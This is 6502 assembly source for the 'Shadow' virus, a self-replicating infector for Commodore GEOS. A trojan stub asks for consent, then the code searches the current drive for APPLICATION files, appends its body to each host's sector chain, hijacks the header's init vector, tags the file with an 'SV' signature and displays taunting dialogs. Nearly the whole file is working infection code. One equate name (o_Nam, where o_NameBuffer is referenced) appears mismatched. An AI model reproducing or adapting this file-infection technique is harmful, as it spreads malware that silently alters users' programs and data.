;=============================================================================
; The "Shadow" virus: self-replicating code for Commodore GEOS
;=============================================================================
; Trojan to create the Shadow virus: a stub warns of what it is
; about to do and allows the user to cancel.  If the virus is
; given the gift of life, control is passed to the infection code.
; The virus attaches itself to the end of files of type APPLICATION,
; replacing the initialization address in the file header with its own.
; Only files on the current drive are affected.
;
; revision history:
; 1.0	Original version.
; 1.1	06/2002 Reconstructed from hardcopy of source after being lost.
;--------------------------------------------------------------
.if	Pass1
	.noeqin
	.include	geosSym
	.include	geosMac
	.eqin
.endif
;--------------------------------------------------------------
; Trojan stub:
;--------------------------------------------------------------
	lda	#2
	jsr	SetPattern
	LoadB	r2L, 0
	LoadB	r2H, 199
	LoadW	r3, 0
	LoadW	r4, 319
	jsr	Rectangle	; clear screen
	LoadW	r0, askInfectDB
	jsr	DoDlgBox
	lda	r0L
	cmp	#YES
	beq	10$
	jmp	EnterDeskTop
10$	jmp	VirusStart
;--------------------------------------------------------------
askInfectDB:	.byte	DEF_DB_POS | 1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_1_Y
	.word	ask1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_2_Y
	.word	ask2
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_3_Y
	.word	ask3
	.byte	YES
	.byte	DBI_X_1, DBI_Y_2
	.byte	NO
	.byte	DBI_X_2, DBI_Y_2
	.byte	0
ask1:	.byte	"This program generates the ", $22, "Shadow", $22, 0
ask2:	.byte	"virus and allows it to procreate.", 0
ask3:	.byte	"Continue?", 0
;--------------------------------------------------------------
; Virus proper begins here; relocate to top of memory (to provide
; fixed addresses) and continue execution from there.
;--------------------------------------------------------------
VirusStart:	PushB	r0L	; load options
	PushW	r2	; r3 not trashed by MoveData
WhereAmI:	lda	#[VirusStart
	sta	r0L
	lda	#]VirusStart
	sta	r0H
	LoadW	r1, $6000-(VirusEnd-VirusStart)
	LoadW	r2, (VirusEnd-VirusStart)
	jsr	MoveData
	jmp	o_Continue
;--------------------------------------------------------------
; save load options program was started with
;--------------------------------------------------------------
Continue:	MoveW	r3, o_r3Save
	pla	
	sta	o_r2Save
	pla
	sta	o_r2Save+1
	pla
	sta	o_r0LSave
	MoveW	o_InitHost+1, a9	; gets changed	 during infection
;--------------------------------------------------------------
; look for files to infect
;--------------------------------------------------------------
	LoadW	r6, o_NameBuffer
	LoadB	r7L, APPLICATION
	LoadB	r7H, 8
	LoadW	r10, 0
	jsr	FindFTypes
	lda	#7	; count from zero
	sec
	sbc	r7H
	pha
20$	jsr	o_Infect	; returns with carry set if an infection took place
	pla		; (doesn't affect carry flag)
	bcs	BeSnotty	; only infect one file at a time
	tax
	dex
	bmi	BeSnotty
	txa
	pha
	bpl	20$
	pla
;--------------------------------------------------------------
; horrify the user with the announcement that the host is infected,
; then restore host's load options and let it run.
;--------------------------------------------------------------
BeSnotty:	php
	CmpWI	a9, #EnterDeskTop	; is Trojan running?
	bne	26$
	plp		; yes, it is
	bpl	25$
	LoadW	r0, o_NotFndDB	; nothing to infect
	jsr	DoDlgBox
	bra	29$
25$	bcc	29$
	LoadW	r0, o_GotOneDB
	jsr	DoDlgBox
	bra	29$
;--------------------------------------------------------------
26$	plp		; infected host is running
	LoadW	r0, o_SnottyDB
	jsr	DoDlgBox
	MoveW	o_r2Save, r2
	MoveW	o_r3Save, r3
	MoveB	o_r0LSave, r0L
29$	MoveW	a9, o_InitHost+1	; was changed for infection
InitHost:	jmp	EnterDeskTop	; for Trojan only, actual virus replaces
			; with jmp to hosts's original init address
;--------------------------------------------------------------
; check to see if file is already infected
;--------------------------------------------------------------
Infect:	tay
	beq	40$
	sta	r1L
	lda	#17
	sta	r2L
	lda	#0
	sta	r1H
	sta	r2H
	ldx	#r1
	ldy	#r2
	jsr	BBMult
	lda	r1L
40$	clc
	adc	#[o_NameBuffer
	sta	r6L
	lda	#]o_NameBuffer
	adc	#0
	sta	r6H
	jsr	FindFile
	LoadW	r9, dirEntryBuf
	jsr	GetFHdrInfo
	LoadW	r1, fileHeader+O_GHFNAME
	LoadW	r2, o_PermName
	ldx	#r2
	ldy	#r1
	jsr	CmpString
	beq	45$	; don't infect the Trojan
	lda	fileHeader+O_GHSIG
	cmp	#'S'	; is this file already infected?
	bne	BeginInfect
	lda	fileHeader+O_GHSIG+1
	cmp	#'V'
	bne	BeginInfect
45$	clc		; if file is not to be infected,
	rts		; return with carry clear
;--------------------------------------------------------------
; measure size of host to get virus init address for file header
;--------------------------------------------------------------
BeginInfect:	MoveW	dirEntryBuf+OFF_DE_TR_SC, r1
	lda	dirEntryBuf+OFF_GSTRUC_TYPE
	cmp	#VLIR
	bne	50$
	LoadW	r4, diskBlkBuf
	jsr	GetBlock	; get VLIR index block
	MoveW	diskBlkBuf+2, r1
50$	LoadW	r3, fileTrScTab
	jsr	FollowChain
	ldx	#0
	ldy	#0
60$	lda	fileTrScTab, x
	beq	70$
	iny		; no. of full sectors
	inx
	inx
	bne	60$
70$	tya
	beq	80$
	dey		; last pointer is to unfilled block
80$	txa
	pha		; save pointer to last block
	inx
	lda	fileTrScTab, x	; no. bytes in last sector
	tax
	inx
	bne	Adjust
	iny		; last sector is full
;--------------------------------------------------------------
; compensate for the fact that there are only 254 bytes in a sector;
; add load address from the header to get absolute location of virus
;--------------------------------------------------------------
Adjust:	stx	a0L	; number of bytes in last sector
	sty	a0H	; number of full sectors
	iny		; last sector's pointer as well
	tya
	asl	a	; two pointer bytes per sector
	sta	a1L
	lda	a0L
	sec
	sbc	a1L
	sta	a0L
	lda	a0H
	sbc	#0
	sta	a0H
	AddW	fileHeader+O_GHST_ADDR, a0
;--------------------------------------------------------------
; put virus signature and new (virus') init address in fileHeader;
; patch jsr to new host's init address and call to MoveData
;--------------------------------------------------------------
	MoveW	fileHeader+O_GHST_VEC, o_InitHost+1  ; original value was saved in a9
	lda	a0L
	sta	fileHeader+O_GHST_VEC
	sta	o_WhereAmI+1	; for MoveData
	lda	a0H
	sta	fileHeader+O_GHST_VEC+1
	sta	o_WhereAmI+5
	lda	#'S'	; virus signature
	sta	fileHeader+O_GHSIG
	lda	#'V'
	sta	fileHeader+O_GHSIG+1
;--------------------------------------------------------------
; get track and sector pointers for appending virus to host
;--------------------------------------------------------------
GetTnS:	pla		; last entry in chain
	bne	90$	; 0 if one-block file
	lda	dirEntryBuf+OFF_DE_TR_SC
	sta	r3L
	lda	dirEntryBuf+OFF_DE_TR_SC+1
	sta	r3H
	bra	100$
90$	tax
	dex
	dex		; track pointer to last block
	lda	fileTrScTab, x
	sta	r3L
	inx		; sector pointer
	lda	fileTrScTab, x
	sta	r3H
	inx		; null track pointer
	inx		; last-byte pointer
100$	lda	fileTrScTab, x
	tax
	inx
	LoadW	a0, o_VirusStart
	ldy	#0
;--------------------------------------------------------------
; disk I/O routine to append virus to host
;--------------------------------------------------------------
Append:	lda	(a0), y
	sta	diskBlkBuf, x
	iny
	bne	110$
	inc	a0H
110$	MoveW	a0, a1
	tya
	clc
	adc	a1L
	sta	a1L
	lda	a1H
	adc	#0
	sta	a1H
	CmpWI	a1, o_VirusEnd
	beq	AllDone	; all done, write last sector
	inx
	bne	Append
	tya
	pha
	MoveW	r3, a1	; sector to re-write
	jsr	SetNextFree
	lda	r3L
	pha
	sta	diskBlkBuf	; establish link to new sector
	lda	r3H
	pha
	sta	diskBlkBuf+1
	MoveW	a1, r1
	LoadW	r4, diskBlkBuf
	jsr	PutBlock
	pla
	sta	r3H
	pla
	sta	r3L
	pla
	tay
	ldx	#2
	bne	Append
;--------------------------------------------------------------
; write last sector, update file header, and commit allocated sectors
;--------------------------------------------------------------
AllDone:	lda	#0
	sta	diskBlkBuf
	stx	diskBlkBuf+1
	MoveW	r3, r1
	LoadW	r4, diskBlkBuf
	jsr	PutBlock
	MoveW	dirEntryBuf+OFF_GHDR_PTR, r1
	LoadW	r4, fileHeader
	jsr	PutBlock	; update header
	jsr	PutDirHead	; update BAM
	sec		; indicate infection performed
	rts
;--------------------------------------------------------------
; snotty DB to let the user know the Shadow virus has had its way
;--------------------------------------------------------------
SnottyDB:	.byte	DEF_DB_POS | 1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_1_Y
	.word	o_Snot1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_2_Y
	.word	o_Snot2
	.byte	OK
	.byte	DBI_X_2, DBI_Y_2
	.byte	0
Snot1:	.byte	"Congratulations! This program has been", 0
Snot2:	.byte	"infected by the ", $22, "Shadow", $22, " virus!", 0
;-------------------------------------------------------------
; too cautious: ran Trojan on an empty disk, let's give him a hint
;-------------------------------------------------------------
NotFndDB:	.byte	DEF_DB_POS | 1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_1_Y
	.word	o_Not1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_2_Y
	.word	o_Not2
	.byte	OK
	.byte	DBI_X_2, DBI_Y_2
	.byte	0
Not1:	.byte	"No files to infect! The virus only", 0
Not2:	.byte	"infects files of type APPLICATION.", 0
;--------------------------------------------------------------
; success: tell user the Trojan infected a file, but not which one...
;--------------------------------------------------------------
GotOneDB:	.byte	DEF_DB_POS | 1
	.byte	DBTXTSTR
	.byte	TXT_LN_X, TXT_LN_1_Y
	.word	o_Got1
	.byte	OK
	.byte	DBI_X_2, DBI_Y_2
	.byte	0
Got1:	.byte	"Congratulations! A file was infected!", 0
;--------------------------------------------------------------
; Permanent name string (so Trojan can remain uninfected)
;--------------------------------------------------------------
PermName:	.byte	"ShadowVirus V1.1",0
;--------------------------------------------------------------
; data definitions
;--------------------------------------------------------------
r0LSave:	.block	1
r2Save:	.block	2
r3Save:	.block	2
NameBuffer:	.block	17*8
VirusEnd:	.byte	0
;--------------------------------------------------------------
; equates for process tables (addresses taken from Boyce)
;--------------------------------------------------------------
PrcCntrs	==	$86f1	; table of timeout counters
PrcStat	==	$8719	; table of process status bytes
PrcDspch	==	$872d	; table of dispatch addresses
PrcTime	==	$8755	; table of initial time-out values
PrcNum	==	$877d	; number of registered processes
;--------------------------------------------------------------
; offset to virus signature in file header
;--------------------------------------------------------------
O_GHSIG	==	94
;--------------------------------------------------------------
; offsets for instruction operands after code is relocated
;--------------------------------------------------------------
o_VirusStart	==	$6000-(VirusEnd-VirusStart)
o_WhereAmI	==	(WhereAmI-VirusStart)+o_VirusStart
o_Continue	==	(Continue-VirusStart)+o_VirusStart
o_BeSnotty	==	(BeSnotty-VirusStart)+o_VirusStart
o_InitHost	==	(InitHost-VirusStart)+o_VirusStart
o_Infect	==	(Infect-VirusStart)+o_VirusStart
o_BeginInfect	==	(BeginInfect-VirusStart)+o_VirusStart
o_Adjust	==	(Adjust-VirusStart)+o_VirusStart
o_GetTnS	==	(GetTnS-VirusStart)+o_VirusStart
o_Append	==	(Append-VirusStart)+o_VirusStart
o_AllDone	==	(AllDone-VirusStart)+o_VirusStart
o_SnottyDB	==	(SnottyDB-VirusStart)+o_VirusStart
o_Snot1	==	(Snot1-VirusStart)+o_VirusStart
o_Snot2	==	(Snot2-VirusStart)+o_VirusStart
o_NotFndDB	==	(NotFndDB-VirusStart)+o_VirusStart
o_Not1	==	(Not1-VirusStart)+o_VirusStart
o_Not2	==	(Not2-VirusStart)+o_VirusStart
o_GotOneDB	==	(GotOneDB-VirusStart)+o_VirusStart
o_Got1	==	(Got1-VirusStart)+o_VirusStart
o_r0LSave	==	(r0LSave-VirusStart)+o_VirusStart
o_r2Save	==	(r2Save-VirusStart)+o_VirusStart
o_r3Save	==	(r3Save-VirusStart)+o_VirusStart
o_Nam	==	(NameBuffer-VirusStart)+o_VirusStart
o_PermName	==	(PermName-VirusStart)+o_VirusStart
o_VirusEnd	==	(VirusEnd-VirusStart)+o_VirusStart
